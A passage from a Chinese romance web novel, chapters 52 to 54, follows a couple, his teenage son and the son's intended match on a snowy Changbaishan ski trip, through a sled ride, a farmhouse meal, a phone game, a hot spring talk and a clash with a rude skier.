因为这个脑筋急转弯,时间忽然流逝的很快,半个小时转眼过去。 不久后,落地机场,酒店工作人员在外边接机,一见到他们就很抱歉地说:“不好意思啊各位,今天也不知道咋了,下一小天大雪,飞机都延误了,这边车也进不来,得麻烦你们多走几步了,来,我帮你们拿行李。” 司机很明显是当地人,说话有很重的东北口音,陶欣忍不住笑,拽一拽周廷之的袖子。 周廷之垂眸看她:“怎么了?” : 陶欣悄声说:“别忘了我的陶氏脑筋急转弯。” 长白山机场很小,几乎像个三线城市的小高铁站,没走两步就是大门,一出门就是冰天雪地,银装素裹。 看得出来不久之前雪下得很大,机场的工作人员根本来不及清扫,雪铺的又厚实又松软,一脚踩下去不会积压,而是流沙一样向四周散开,是那种不管怎么踩都踩不实的大雪。 司机走在前边带路,不时回过头看他们一眼,快走到车附近的时候,忽然开口叮嘱一句:“这边都加点小心啊,道光,别摔了。” 谁? 因为陶欣那个没有答案的脑筋急转弯,三个人把一众清朝皇帝翻来覆去倒腾个遍,这会格外的敏感,一听道光,都下意识地怔了怔。 周廷之最先反应过来,看向捂着嘴偷笑的陶欣:“你这是冷笑话吧。” 陶欣立即正色威胁他:“什么意思?不好笑吗?” 赵瑞雪听到周廷之说:“你的独家笑话,我跟别人讲算侵权吗?”他以这种巧妙的方式认可陶欣的冷笑话。 陶欣一本正经:“你说这是全世界最好笑的笑话,我就授权给你。” 周廷之的视线一直停留在地面,注意着陶欣的脚下,唯恐她滑倒。 声音很轻,不知道说了没有。 周念的声音倒是很清楚:“道光,什么呀,这谁能猜的出来。” 赵瑞雪的目光从周廷之成熟冷峻的面容移至周念精致漂亮的脸蛋,她不得不承认这父子俩长得非常相似,可性格简直差了十万八千里。 赵瑞雪现在完全能理解陶欣了。 “赵瑞雪。”周念把行李放进后备箱,看着她说:“你坐前边吧,你不是晕车吗。” 周念也不是毫无可取之处。 他的身高,长相,家世,学历,秉性……赵瑞雪坐进副驾驶,从后视镜里看到自己的脸,那张始终保持着得体微笑的脸。 平时习以为常的模样,今天却忽然很有刺激性。 “大叔,幸好你下车的时候没有关暖风啊。”陶欣一坐上车便说:“车里好暖和,我刚才在外边都要被风给吹硬了。” “哎呀,这不是咱应该做的吗,其实今天还真不太冷,你们刚下飞机,里边穿太少了。”短短两句话的功夫,司机已然和陶欣熟络起来,一边开车一边给她讲一些在当地的注意事项,好像很担心她会冻掉耳朵。 赵瑞雪格外沉默。 她忽然意识到,不止是她嫌弃周念,周念也不会喜欢她的。 她和周念很明显是两种人,即便年龄相仿,家境相当,各方面都完美契合,也很难像普通朋友一样正常的相处。 反倒是陶欣。 “周念,你是不是着魔了?嗯?能不能别看你那破游戏直播了,吵死了。” “你懂什么啊,我这是在学习技术。” “现在,立刻,马上,给我把耳机戴上,不然我就弄死你。” “……” 周念默默打开耳机仓,嘈杂的车内瞬间安静了。 他们两个的确相处的很好,不像小后妈和继子,更像是关系平等的朋友,或是不那么平等的姐弟,闹腾起来,会显得过于紧密,仿佛镜头聚焦到两个人身上,从而忽视掉周围的一切。 赵瑞雪很聪明,在发觉这一点的那一瞬间,就清楚了自己存在的意义。 难怪周廷之突然愿意配合她爸妈撮合这桩婚事,竟然是害怕自己的儿子抢占了自己女朋友的注意力。 赵瑞雪看着窗外的皑皑白雪,感觉这世界真他X的是个草台班子。 第53章 第53章周廷之面无表情地拽起压…… 众人抵达 酒店的时候已经下午三点了,天气冷,外邊又飘起雪花,想到这邊下午四点天就黑了,陶欣打消了去雪場的念头,打算先去吃网友们推荐的当地特色餐厅。 那家特色餐厅并不在度假村内部,但也不算远,直线距离只有两公里。 放在平时,一脚油门就到了,可大雪天开車出行不便,用司機师傅的话说,道光,又盖了一层棉絮似的雪,保不齐就陷在哪块,这时候可不好叫救援。 不过司機师傅也晓得这几个客人不差钱,嘿嘿一笑就陶欣出了个解决方案,叫他们租度假村里的马車去,马拉着雪橇能走林子里的小道,去餐厅的路上还能顺便欣赏一下东北的残阳和雾凇,就是价格贵一点,一小时租金要二百块。 解决交通加体验雪橇加看夕阳和雾凇,二百块还是很划算的。陶欣欣然答应。 司機师傅是陶欣一行人的专属司機,赶马車也是他。见他穿着大花棉袄赶着两匹同样穿着花棉袄的蒙古马慢慢悠悠的走过来,几人都不禁笑了,因为司机去机場接他们开的那辆車,车衣也是同样的花色。 “来,上车吧。” 马车正好是四个位置,陶欣和周廷之坐在前面,周念和赵瑞雪坐在后面。马车窄,一行人穿又得多,坐在一起显得拥挤,可对陶欣来说却非常合适。她摘下厚厚的手套,从口袋里掏出自拍杆,装上手机,打开相机和自拍杆上的补光灯,唰一下拉长,兴致勃勃地说:“哈喽朋友们,快看镜头。” 赵瑞雪敏锐的注意到,在陶欣举起自拍杆的瞬间,明明已经靠陶欣很近的周廷之上半身又向她倾斜了几分,并且主动的拉下遮挡着下半张臉的围巾。 这是一种即时的响应,他的行为完全承接住陶欣的情绪,不会让陶欣觉得扫兴。 赵瑞雪也拉下围巾,笑着看向镜头。 周念耍帅,压根就没戴帽子和围巾,才出来几分钟,鼻尖臉颊就冻得通红。 不过照片里的确顶数他最好看,精致的五官在冰天雪地里平添了几分少年感十足的清爽明朗。 陶欣对此评价:“他应得的,谁冷谁知道。” 周念嘴硬:“反正我不冷。” 马车出了度假村,很快进到林子里的小路,小路两邊的白桦林果然如司机所说那样挂满了雾凇,洁白剔透的冰晶仿佛是天然的从枝桠间生长出来,裹满了每一根细细的树枝,冰晶簌簌,覆盖着雪,映着广阔平原上那一抹红妆,叫人心里生出一种说不出的静谧安然。 呼吸间,有独特的冷空气和白桦林的味道,马蹄踩在雪里,像是从几百年前传来的声音。 赵瑞雪欣赏着这样美丽的景色,却仍留了两分心神在另外三人身上。 陶欣拍完照,刚收起自拍杆,周廷之便帮她重新戴好了手套,而对于男人的体贴照顾,陶欣并不是理所当然的接受,她抬起头朝周廷之笑一笑,又握住周廷之的手,很亲昵的晃一晃。 周廷之看她的眼神明显更柔软了。 至于周念,嘴上说不冷,一个劲往衣领里缩。二货。 不多时,马车到了吃饭的地方,是个标准的东北农家大院。外邊那么冷,屋里却暖融融的,尤其还烧着一张热炕,温度简直比酒店还高,想上炕吃饭就得把保暖装备全卸掉,什么帽子,围巾,手套,棉靴,羽绒服,羽绒褲,保暖衣,凡是能脱的都得脱。 幸好陶欣做了攻略,早有准备,叫他们在羽绒褲里穿了一件单裤,还不至于脱得太狼狈,隔壁桌那几个南方客人都是直接穿着秋裤盘腿坐在炕上吃饭,彻彻底底的体验了一把当地风情。 点完菜,因为老板说上菜时间可能会有点久,周念又把手机拿出来。陶欣一看他把手机横过来,那蠢蠢欲动的样子,就知道他是有意要玩他的游戲。 不是吧,这大哥总不能把赵瑞雪扔一边自顾自的开一局吧? 好在周念的情商还没有低到那种地步,他转头问赵瑞雪:“上号吗?” 陶欣惊了一下:“瑞雪也玩这个?” 赵瑞雪笑笑:“偶尔,玩的不太好。”她当然不会说她是为了和周念找共同话题才下载的这个游戲。 “那你俩玩吧,铁锅炖得提前预定,我给忘了,估计要一个小时才能出锅呢,在这等着也没什么意思。”陶欣说着,扭头看周廷之:“要不我们俩也下一个玩?” 周廷之正坐在旁边回复工作上的微信,听陶欣这样说,只是轻轻“嗯”了一声,便切回主屏幕,打开Store,搜索,下载,一气呵成,随后才返回微信,在聊天框里继续输入刚刚没说完的话。 没有一句多余的废话,只有丝滑的操作,超高的效率,别说陶欣了,连赵瑞雪看着都觉得很爽。 陶欣见他下载了,自己也下载,不忘对周念说:“等我俩一会。” 周念邀請赵瑞雪纯粹是出于礼貌,可陶欣和周廷之加入,一起四排吃鸡,那就是性质完全不同的两回事了。他像个小孩子似的积极起来,凑过去看陶欣下载资源包的进度:“你用的流量吗?连WiFi是不是比较快?” 游戏刚上线没两年,资源包有限,只用十几分钟就下载完了。 陶欣登录之前的账号,周念看了眼她的对局記录,忍不住吐槽:“你这纯新手啊。” “新手怎么了,哪个游戏没有新手能发展起来?” 周廷之处理完了工作上的事,游戏也下载完了,他更是纯新手,昵称都是现場输入的。 周念一边加好友一边说:“第一把肯定是低分局,落地之后你们俩躲起来就行,等我和赵瑞雪杀完人你们再出来捡装备。” 四个人组完队,刚好两个白短袖和牛仔裤的初始皮肤站在一起。陶欣笑着说:“周廷之,我们俩是情侣装欸。” “……”周念:“我开了,你们跟随我跳伞。” 这游戏本身并不难,赵瑞雪私下练了两天就已经玩的有模有样,可对周廷之这种纯新手而言还需要时间摸索。 陶欣很照顾他,坐在他身边,几乎是手把手的教他。 “点这个跟随跳伞。”“可以脱离跳伞了,我们俩躲起来。”“我在这呢我在这呢,我去找你。”“啊啊啊有脚步,快躲好,周念救命啊!”“去舔箱子,这个箱子里有枪。”“你看,这配件可以装进去,这样开枪更稳,打人更准。” 确定p区暂时没有其他人了,赵瑞雪停下来,看了眼坐在对面的陶欣和周廷之。 因为是在火炕上吃饭,两个人都盘着腿,捧着手机,姿势完全一致。 “是不是有脚步声?” “好像是人机。” “哇塞,你也太厉害了吧,都能分清楚人机了,你去你去,你去打,周廷之即将拿下海岛一血!” 赵瑞雪低下头,继续搜集装备。 无人窥见她平静外表下汹涌的暗潮。 为了和周念有共同话题,维持每天聊天的频率,她熬了几个晚上研究这个游戏,哪里物资多,什么枪比较稳,四指的键位该怎么操作。她花费这样多的心思,时间,精力,却没有任何一个人为她的进步欣喜。 包括她的父母。 从小到大,似乎她做什么,都是理所应当。 “来车了,一队人,好多脚步啊啊啊。”陶欣一紧张,嘴就很碎:“救命救命救命,我俩要死了。” “没事, 你们躲好就行。“赵瑞雪看了眼小地图,很快赶过去,从外围击倒了一个,那队人忙着救队友,便无暇顾及房子里的陶欣和周廷之。 陶欣简直五体投地:“你太厉害了吧,怎么这么准啊。” 周念也赶过来,客观地说:“这队估计也是新手。” 赵瑞雪看向周念。如果不是队友之间不能相互攻击,她一定给周念一梭子来自M762的7.62子弹。 …… 回酒店的时候已经晚上七点,陶欣吃饱喝足,打算去泡温泉,不过度假村的温泉是典型的东北洗浴模式,男女分区,大家都是洗完澡光着身子进去泡。 周廷之和周念首先对泡温泉这件事就兴致缺缺,其次他们俩之间还没有那么深的父子感情,俩个人随便找了个由头就回房间了。 剩下陶欣和赵瑞雪,并不介意和对方赤/裸相见。 缓缓浸入滚烫炽热的温泉水里,陶欣不由得轻舒了一口气:“这才对嘛,果然比穿泳衣泡温泉舒服多了。” “这好像是天然温泉。”赵瑞雪靠在温暖的石壁上,看着陶欣,思绪纷乱,心却越来越清楚。 因为父母,她对婚姻的态度一向悲观,总想着反正最后结果也是那样,只要如父母所说,能让人人艳羡,延续少年时的风光,就已经足够。 可今天跟着陶欣和周廷之一路走过来,赵瑞雪忽然想起,自己还没有谈过一次恋爱。 和周念谈恋爱吗? 她是自幼早熟的人,看周念难免像个二百五,以朋友的关系相处都很勉强,何况是谈恋爱。 “瑞雪。” 陶欣不知什么时候坐到她身旁,过于亲密的距离,关切的目光:“你是不是心情不太好啊?” “没有呀。”赵瑞雪习惯性的微笑:“就是晚上吃太饱了,有点犯困。” “……可我感觉你不太想跟我们一起来。”陶欣和她一样靠在石壁上:“像这样出来旅行,还是和自己的朋友在一起更开心。” “我跟周念……” “别说你跟周念是朋友,我一看就知道你烦他。” “……”赵瑞雪笑了笑,忽然放松下来:“有那么明显吗?” “不明显,但群众的目光是雪亮的,我跟你说,我真的很能理解你,我有时候也巨烦他,都恨不得跳起来左右开弓给他两耳光。” “你后面还有但是吧?” “有,我刚想说,但是他这个人还真不坏,挺讲义气的,我看他身边那几个男同学跟他关系都特别好,我觉得,可能是因为从小没有妈妈,他就是不知道怎么跟女性相处,脑子里根本就没有那个概念。” 赵瑞雪看着她:“你是希望我多包容他?” “no。”陶欣说:“我是不希望你被他影响心情,他讨人厌不是因为他不喜欢你,故意讨人厌,是他本身就讨人厌,但凡是个女的就烦他,跟你没关系。” “……谢谢。”赵瑞雪移开视线,又看向热气氤氲的温泉水:“我打算买明天的机票去找我朋友,可不可以拜托你,让周叔叔暂时瞒着我爸妈。” “没问题啊,欸,其实我都搞不明白,周廷之干什么要撮合你跟周念呢,我早说你俩不合适。” “可能是因为……” “因为什么?” 陶欣过分直接坦诚,这样的交流方式像温水煮青蛙一样,差点将赵瑞雪同化,幸好她还残存着几分理智,才没有把“你男朋友怕你和他儿子怎样怎样”这种话说出口。 赵瑞雪心有余悸地说:“可能是因为看重双方的家庭吧,觉得各方面条件比较合适。” “谈恋爱哪能看什么各方面条件啊。”陶欣轻哼了一声说:“要看条件,他岂不是得下辈子才能轮得上做我男朋友。” 赵瑞雪:“可要是不考虑条件,周念得下辈子才能找到女朋友。” 她说完两个人都忍不住笑起来,好像忽然间有了很多共同话题。 “不是说女孩子对帅哥都很包容的吗,周念挺帅的啊。” “可能太招人烦了吧,就会让人忽略他的臉。” “不近距离接触就还行,他们学校真可多女孩子喜欢他了。” “我对他第一印象其实也不错,越接触越下头。” “哈哈哈哈今天吃鸡的时候,你看他那一眼,真的骂的太脏啦。” 陶欣那时候是硬忍着不笑,现在重提起来,完全忍不住了,看着赵瑞雪,笑得眼睛弯弯的,又黑又亮,很具有感染力。 赵瑞雪也笑出声。这是她长这么大,第一次听到自己的笑声。 说老实话,赵瑞雪其实都不太想走了,感觉和陶欣一起说周念坏话还蛮有意思的。 不过终究是理智更胜一筹。赵瑞雪很清楚,也就是温泉男女分区,要不然有周廷之在,她根本和陶欣说不上什么话。 可她不在,周廷之大概会很难受吧。 赵瑞雪弯起嘴角,不知道自己原来还有这种恶趣味。 …… 第二天早上准备出发去滑雪场的时候,周念才收到赵瑞雪的微信,得知她临时有要紧事,已经坐最早一班飞机离开。 周念想了想,客气了一下,问她什么事,需不需要帮忙。 赵瑞雪回了个笑脸。 “莫名其妙……” “怎么了?” 周念直接把聊天記录拿给陶欣看。 “……”陶欣无语:“大哥,人家的意思就是跟你的相亲到此结束,你俩不合适,这很难理解吗?非要人家直说?” 周念后知后觉自己被甩了,脸色有点难看:“……什么啊,搞得好像我欺负她了似的。” “人家也没说你欺负她啊,她回去是瞒着她爸妈的。” “哦,那还行。” 周念拿着手机,三两下敲出一行字,发给赵瑞雪:“祝顺利,落地报平安。” 陶欣点点头:“这话说得还挺像个人。” “用你表扬?去一边去,别看我手机。” “不是吧,你鱼的记忆啊,刚才是你主动拿过来给我看的好吗?” 周念很理直气壮:“我刚才让你看,现在让你看了吗?” 陶欣冷笑:“好,用人朝前不用人朝后是吧,你记住了啊。” 周廷之走过来,手里拿着一叠防冻贴:“幸好酒店里有。” 陶欣拿了一张仔细的贴在脸上,盖住脸颊和鼻梁,一边整理一边纳闷:“真奇怪,我明明记得我买了一盒,收拾行李的时候也放在包里了,怎么就找不到呢。” “可能是掉出去了。”周廷之递了一张给周念:“你也贴上,免得冻伤。” 周念接过来说:“周总,赵瑞雪回去了。” “我知道。” “……我想你也知道,合着就我不知道。” 周廷之不打算对这件事过多评价,只当没听到周念的自言自语,看到去雪场的接驳车过来,拿起了陶欣的雪板:“走吧,车到了。” 雪场正常开放时间是八点钟,度假村的会员可以提前半小时顶门入场,这时候的雪道往往还是压雪机刚压过的面条雪,不过比起面条雪更美妙的是昨晚刚下了一场大雪,那厚实的,蓬松的,还没有人为破坏的粉雪,实在是全世界雪友心目中的白月光。 陶欣誓要坐第一个从雪道上滑下去的人,接驳车还没到雪场就已经进入了备战状态。 而周念也开始纠结待会是上中級雪道还是高級雪道,以他的水平 ,自然是应当去蓝道上磨炼技术,可知道陶欣实力强硬,算是半个专业水平,他又觉得自己灰溜溜的跑蓝道太丢脸,有意硬着头皮挑战一下高級道。 犹犹豫豫的,他问陶欣:“你待会要滑双黑?” “不啊,我去高级道,我还想让周总帮我拍个帅气的开板呢,去双黑周总一准翻车,是吧?” 周廷之笑笑,并不否认。 周念沉默了。 在此之前周念其实没有和周廷之一起滑过雪,说起来他还是这两年接触到滑雪,才知道周廷之原来也会滑雪,知道归知道,没有深聊过,自然不清楚周廷之的实力。 如果是能在高级道上跟着陶欣拍视频的程度……那似乎比他厉害一点……如果他们俩都去高级道……那他自己一个人去中级道…… 周念不想被陶欣取笑,于是深吸一口气,在心里一咬牙一跺脚,也故作从容的跟着上了高级道。 万幸这会上山的雪友都是想抢开门雪的,下了缆车就一个接着一个往下滑,让周念有足够的时间鼓足勇气,没什么负担的在陡坡上思考人生。 他坐在那,眼睁睁看着陶欣抢到了开门雪,一个漂亮的空翻俯冲下去,落地就是一个柔顺无比八字刻滑,在他视野范围内消失之前,还做了一个相当花俏的平花。 而周廷之一直不远不近的跟在陶欣身后,举着手机,平稳的不像话。 等四周没人了,周念又狠狠深吸一口气,用屁股蹭着雪道,费劲巴力的下了陡坡,随后站起身,拍一拍身上的雪,面无表情地滑了下去。 陶欣到后面放缓了速度,一个转弯滑到周廷之身旁:“太爽啦,拍的怎么样?” “我觉得还可以。” “那就是很帅啦~” 陶欣回过头,没在雪道上看到周念的身影,发出邪恶的笑声:“嘿嘿,你信不信他是用屁股下来的。” 出于安全考虑,周廷之说:“千万别让周念听见你这么笑,他真容易一头扎下来。” “哈哈哈哈哈一头扎下来哈哈哈哈”陶欣被戳中笑点。 周念没在人生思考点上思考多久人生,陶欣正笑着呢,他就滑到了跟前。 屁股上的雪拍干净了,这会人又硬气了:“你在这傻笑什么呢?” “哼哼,姐刚才帅不?” “……还行吧,你那平花怎么做的?” “我还是觉得今天早上说“去一边去”那个你更有气质。” 她说“去一边去”,是模仿周念的语气,周念不由得有点脸热,可越是这种时候,周念越是表现的很硬气:“不想教算了,我待会找个教练去。” 他说着,挪动雪板,做出要往下滑的姿态,陶欣一看他那个动作就知道会卡刃失去重心,“欸”了一声,下意识伸手去扶。 果不其然,周念转过来的时候卡到了前刃,整个人都向前扑倒,陶欣低估了他,高估了自己,伸手这一下不仅没扶住,还被他拖了下去,只听噗通一声响,两个人都重重的摔在了地上。 在雪道上摔倒是经常发生的事,像这样摔在一起也不稀奇。 周廷之面无表情地拽起压在陶欣身上的周念,又弯腰去扶陶欣。 “怎么样,没事吧?”声音仍旧温和。 “幸好雪软……”陶欣拍拍身上的雪,对于刚刚和周念那样近距离的接触并不当回事,还很得意地说:“我一看他的姿态就知道是要卡刃,厉害吧。” 周廷之其实早就意识到,陶欣没有把只比她小两岁的周念列入异性范围。 大概是因为,那时他说,周念只是身体长到十八岁,其实和八岁的孩子没区别,所以陶欣才会一直把周念当成没长大的孩子看待。 第54章 第54章周廷之微微低着头,眉眼…… 陶欣拍完开板視频又自己一个人跑去了双黑/道。周念气不过,回雪场服务大厅找高级教练,非要学会平花不可。 周廷之在休息区等陶欣。 八点过后,雪场人渐渐多起来,来这邊玩的游客几乎都是为了滑雪,大多住在附近的酒店和度假村。周廷之对面坐着两个女孩,二十出头的模样,一邊调整雪鞋一邊叽叽喳喳的聊天。 他想起今早去度假村服务台取防冻贴的时候,也见过这两个女孩。大概是看到在门口等接驳车的周念,其中一个人拉着另一个人说:“快看快看,好帅啊。”另一个人则说:“有什么好看的,人家有女朋友。” 周念和陶欣年纪相仿,气场一致,两个人又没有什么距离感,很容易被误认为是情侣。 这没什么。 周廷之看了眼时间,再过五分钟陶欣就差不多该从山上下来了,他们约好在休息区会和。 周廷之站起身,走到奶茶店门口,扫码点单。 虽然扫码点单比较麻烦,但周廷之不太好意思直接和店员说“我要一杯烤黑糖波波牛乳茶”又或是“我要一杯热芋泥牛乳滿贯”。他也是最近才知道,现在奶茶店的名字都起的这么讓人叫不出口。 等店员制作奶茶期间,有人从背后轻轻拍了拍他的肩膀:“你好。” 周廷之回过头,身后是一个长头发女性,穿着白色滑雪服,大约三十岁上下。 “不好意思,剛剛在那邊注意你很久了,可以认识一下嗎?” “抱歉,我在等我女朋友。” “这样啊,打扰了。” 女人礼貌的笑一笑,转身离开,很有风度。 周廷之欣赏这世界上绝大多数女性,勇敢,同样矜持,自尊心强,却绝不自卑,即便被拒绝也只会觉得是你不够幸运,没能认识我,窥觊我有趣的灵魂。 周廷之真希望陶欣遇到的每个人都能是这样。 “先生。”店员按照程序最后一次确定订单:“您的烤黑糖波波牛乳茶和热芋泥牛乳滿贯好了。” “……谢谢。” 出了休息区,剛好看到陶欣踩着雪板像小企鹅似的一扭一扭走过来,蹭到休息区前的长椅旁,才一屁股坐下来,摘了手套拆雪板,那样子似乎有点气鼓鼓的。 周廷之给奶茶插上吸管,走到她身旁:“喝一口暖和暖和。” “不想喝!气都气饱了!”陶欣雪板拆到一半,抬起头和他抱怨:“我下来的时候看那边景色不错,想着拍張照片给你看,结果有个男的冲过来就在我身后呲了个雪墙,呲我一身,帽子里都是,给我气的要死,你猜他怎么说?神经病,他说看我技术不错,讓我待会跟他上山一起滑,他说他可以指点指点我。” “那你怎么说的?” 陶欣摘掉另一只手套,缓缓竖起中指,绘声绘色的重现当时的情景:“我说你指点你大爷去吧,我学滑雪的时候你还在你妈肚子里玩脐带呢。” 周廷之被她逗笑。 “你还笑,哼,最好别讓我在看见他。” “也不是什么大事,雪道上别跟人斗气,太危险了,万一他使坏冲过来撞你一下怎么办?山下遇到了再找他算账。” 雪道上发生意外的确是不可控的,危险程度等同于车祸。周廷之这样一说,陶欣慢慢冷静下来,噘着嘴从他手里接过了奶茶:“好吧……那个人穿黑色裤子,橘色上衣,应该还挺明显的。” “嗯,我记住了。” 周廷之将另一杯奶茶放到长椅上,蹲下身帮她拆雪板。 奶茶虽然是剛做好的,但到零下三十度的环境里两三分钟就不烫嘴了,陶欣吸了两大口,上来好几颗黑珍珠,嚼着Q弹软糯的黑珍珠,心情终于好转:“等我去个洗手间,我们俩上高级道滑一圈吧,然后下来吃午饭,我刚才看那边有家店卖东北大饭包,感觉可香了,还有延吉冷面,哎呀我感觉在这住几天我能吃胖好几斤。” “不会胖的,热量都用来御寒了,消耗大,多吃点很正常。” “也对哦!那我们吃东北大饭包!” 周廷之把雪板放在外边的架子上,陪她进休息区里面上厕所。冬天上厕所穿脱衣服很麻烦,大家动作都很慢,女厕所外边永远排着隊。 陶欣站到最末尾,一点一点往前挪。奶茶喝到一半,递给周廷之:“不喝了,好腻,我想喝喝你的。” 周廷之笑笑,和她交换。 “你根本没喝多少嘛,太浪费了。”陶欣低头吸一口,没想到是芋泥味的,弯了弯眼睛,心滿意足。 不多时,轮到陶欣,她进去了,剩周廷之一个人等在女厕所门口。有人看他,却不是异样的目光,女厕所门外偶尔站一两个“门卫”很正常,看他是因为他身上实在挂了太多和他风格不相符的东西,粉红色的雪镜,黑粉色的手套,左手拎两杯奶茶,右手是毛绒绒的手机壳和五颜六色的挂坠,手臂之间还夹了一个粘着兔耳朵的白色头盔。 休息区人来人往,難免多看他两眼。 陶欣很快从女厕所出来,刚洗完手,上面还有点没擦干的水,哼着小曲蹦跶到周廷之面前,开 始一样一样的穿装备。 周廷之看着她,不管怎么看都很可爱。 “走吧。”拿过自己的手机,陶欣说:“出发。” 两个人带着雪板上了缆车,这会陶欣才打开微信看周廷之刚刚传给她的开板視频,越看越满意,尤其是一开始从陡坡上下来的那个贴地空翻,简直帅的没边了。 一方面是她姿势好看,一方面是周廷之足够稳,高速滑行时没有一丝晃动,角度抓的也恰到好处。 陶欣有点感慨:“真没想到你现在水平这么高,我记得你第一次跟我去滑雪的时候,还要我一直拉着你的手才行。” “嗯……”周廷之也记得,所以他每年冬天去滑雪,看到有情侣那样面对面,双手紧握,都会想到陶欣。几乎是出于一种自虐的性质,别人越叫他走出来,他越要在这世界上找寻陶欣的痕迹。 到了特定的季节,就去陶欣一定会去的地方,剜烂即将愈合的伤口,是过去十八年周廷之一直重复做的事。 现在看来,像上辈子发生的事,周廷之不想再提及。 他转移话题:“你发朋友圈了嗎?” “还没呢,我跟周念学会了剪視频,我打算多攒点素材,然后剪一个网上那样的vlog,到时候一定会让陈局长他们大吃一惊。”陶欣一想到管理局那些人的反应,就不由得笑出声。 “難怪你这两天没怎么拍照,一直在录视频。” “对呀,我看人家那些vlog都是视频,不过要想剪辑的像人家那么好看,我还得回去再研究一下……早知道教周念平花了,他小心眼吧啦的,现在肯定不会教我剪视频。” 陶欣出来玩这两天,明显开朗很多,还找到了自己感兴趣的事。 周廷之笑笑:“没事,可以找专业的人教你,周念也是只会一点皮毛。” “现在不是都在放年假嘛,哎,那得等到年后了……也行,正好把过年的素材也剪辑到一个视频里,我要剪个超长的vlog,很有技术含量那种。” 陶欣说着,又不知道从哪掏出她的自拍杆,很勉强的把毛绒绒的手机塞进去,然后起身坐到对面的周廷之身旁,“歘”一下拉长自拍杆,朝着镜头招招手,正要说自己计划好的台词,却忽然发现:“哇,周廷之,这角度看你好帅啊。” 屏幕里的周廷之穿着黑色滑雪服,带着黑色面罩和毛线帽,银白雪镜推到额头上,只露出眉眼,看上去酷酷的,很有神秘感。 陶欣用她的高科技自拍杆一连截了好几張图。 从山顶下去的时候遇到了在缓坡和教练学习平花的周念,陶欣故意到他面前原地转两个圈,来了一个超级流畅漂亮的平花:“走啦小同学,去吃午饭。” 周念咬牙切齿,终于破防,在雪道上怒吼:“你显摆什么啊!!!!!” 教练捂住耳朵,恍然大明白:“哦,你是跟她飙劲,才说非要今天学会啊。” “不行嗎?” “嗯……不是我要挣你这份黑心钱啊,你要想练到她刚才那个程度,首先得每天顶门进来,散场出去,一天练够八个小时,练满一个雪季,然后再换个更牛逼的教练,下个雪季接着练。” “……” 周念深深看了他一眼,一个原地豚跳,滑下去了。 “哥们儿,不练啦?你买了八小时课时呢!” “我饿!我要吃饭!” …… 东北大饭包爆满,外边还有一串人排隊。 陶欣垫着脚看到老板用鸡蛋酱茄子酱和了一小盆饭,又开始往里面加花生米葱花香菜辣椒油,一下子馋的口水都分泌出来了。 这不用生菜包看着都好吃啊。 在零下三十度的环境里待这么久,身体的热量早已消耗殆尽,周念也饿了,用手指头一个个数前边的人头:“还有一、二、三、四……前边还有六个人呢,什么时候能轮到我们啊。” “急什么,有点耐心好不好,这么多人排队说明一定好吃。”陶欣拿着手机在网上搜这家店的评价:“你看,这有个人说,他家的饭包和其他地方的饭包不一样,其他地方的饭包是为了给外地人吃调整过口味的,这家更正宗,就是本地人小时候吃过的味道,还推荐我们尝一尝隐藏菜单辣椒焖子饭包。” 周念睨了陶欣一眼,转头跟一旁的周廷之说:“我怎么感觉她比去米其林还兴奋。” 周廷之从远处移回目光,不急不慢地说:“好好排队,少开口,别扫兴。” 陶欣没听到身后两个人的对话,搜索完评价后举起手机问:“你们要试试这个辣椒闷子饭包嗎?” “我跟你一样,加土豆泥。” “我吃茄子酱的,不要葱。” 陶欣很有一个导游的责任心,特意点开备忘录记下来。 到了吃饭的时间,队伍越来越长,幸好陶欣前边的人越来越少,眼看下一个就要轮到他们,周廷之忽然扯了扯陶欣滑雪服上的兜帽。 “怎么了?” “是那个人吗?黑裤子,橘上衣。” 陶欣一下睁大眼睛,定睛看去,重重一点头:“就是他!” 周念:“咋啦?” 陶欣:“他在双黑/道上往我身上呲雪!” 东北大饭包在这不会跑,人可是长了腿一眨眼就不见,陶欣顾不得自己马上要吃到嘴的大饭包,直奔“橙上衣”吃饭的餐桌前。 “橙上衣”看到她,微微一怔,竟然笑了:“是你啊小美女,没想到你摘掉雪镜比戴雪镜好看多了,” “你呲我一身雪在这装什么没事人?” “就为这点事?那你不也骂我了吗?” 话音未落,周廷之和周念一前一后走到陶欣身旁。两个人都是一米八五以上的身高,穿着宽松的雪服,更显高大健壮,往那一站,不用说话就已经压迫感十足。 “……” “橙上衣”还是很会审时度势的,单看陶欣和她身后这两个男人一身顶级装备,就知道是不差钱的主,社会上关系大概也铁硬,说动手八成就会真动手,他出来玩的,犯不上为这点事让人叮咣一顿揍。 犹豫了一下,“橙上衣”站起身,笑了笑说:“多大点事啊,不至于,我给你道歉行吗,对不起,我不该往你身上呲雪。” 他这样道歉,完全没有诚意,反倒叫陶欣更生气:“至不至于不是你说的算,我不想听你道歉,现在出去让我呲你一身雪,这事才算完。” 在室内大家都不戴雪镜和面罩,眼看着中午要吃饭,三个人脸上的防冻贴也摘掉了,原本三人的身高长相就足够引人注目,这会陶欣气势汹汹的与人对峙,明摆着要打架的阵仗,更引来大厅众人的围观。 众目睽睽下,“橙上衣”有些下不来台,还打算争辩几句:“我又不是故意的,雪场上磕磕碰碰很正常吧,你也骂过我了,能不能别得理不饶人啊。” 陶欣抿唇,从一旁的小女孩手里夺过她刚打好的冰淇淋甜筒,一下子怼到“橙上衣”的脸上。 “橙上衣”彻底愣住了。 牛奶巧克力混合的冰淇淋, 遇热即化,黏嗒嗒的从脸上淌下来,看着十分之恶心。 陶欣长舒了一口气,终于觉得舒服些,瞪着他说:“都是滑双黑/道的狐狸你跟我演什么聊斋啊,你不是故意的,我是故意的,行了吗?爽了吗?” 原本围观群众听“橙上衣”那么说,还蠢蠢欲动的要替“橙上衣”打抱不平,觉得陶欣是仗势欺人,以多欺少,可一听是滑双黑/道的,立刻就变了脸。 “这什么人啊,往人身上呲雪还强词夺理。” “真无语,贱不贱啊。” “橙上衣”抹了一把身上的冰淇淋,咬牙看着陶欣:“行,算你狠。” 陶欣彻底爽了,朝“橙上衣”笑一笑:“不至于,多大点事啊。” “橙上衣”气得说不出话,也觉得继续待在这太丢脸,一边擦着身上的冰淇淋一边往洗手间的方向走,很有落荒而逃的味道。 陶欣正得意,扭头看到一边欲哭不哭的小女孩,瞬间慌了神:“啊啊啊对不起对不起,我马上给你重新买一个,不不不,买两个,你千万别哭啊小朋友。” 小女孩也就五岁大,稀里糊涂的压根不知道刚刚发生了什么,只知道刚买的冰淇淋还没舔一口就被人抢走了,因为爸妈不在身边,勉强忍耐着不哭,陶欣这样一哄,她心态一下子就崩了,咧着嘴哇哇大哭起来。 而她刚一哭,便有人递过来两个冰淇淋甜筒,一个牛奶巧克力味,一个草莓味。 